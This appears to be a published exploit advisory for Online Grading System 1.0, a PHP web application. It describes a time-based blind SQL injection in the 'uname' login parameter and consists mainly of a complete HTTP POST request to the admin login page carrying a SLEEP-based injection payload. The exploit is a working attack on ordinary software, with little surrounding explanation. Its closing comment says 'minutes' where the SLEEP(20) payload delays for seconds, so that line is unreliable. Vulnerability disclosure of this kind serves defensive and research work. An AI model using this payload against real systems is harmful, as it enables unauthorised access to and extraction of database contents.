Online Grading System 1.0 - 'uname' SQL Injection

# Exploit Title: Online Grading System 1.0 - 'uname' SQL Injection
# Date: 2021-01-28
# Exploit Author: Ruchi Tiwari
# Vendor Homepage: https://www.sourcecodester.com/php/13711/online-grading-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlinegradingsystem.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

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#parameter Vulnerable: uname
# Injected Request
POST /onlinegradingsystem/admin/login.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/onlinegradingsystem/admin/login.php
Cookie: PHPSESSID=mavnqgmmv1o0vtqld99vtdv1us
Upgrade-Insecure-Requests: 1

uname=ruchi'||(SELECT 0x4375526c WHERE 6468=6468 AND (SELECT 4401 FROM (SELECT(SLEEP(20)))ariq))||'&pass=admin&btnlogin=

#Application will load after 20 minutes.
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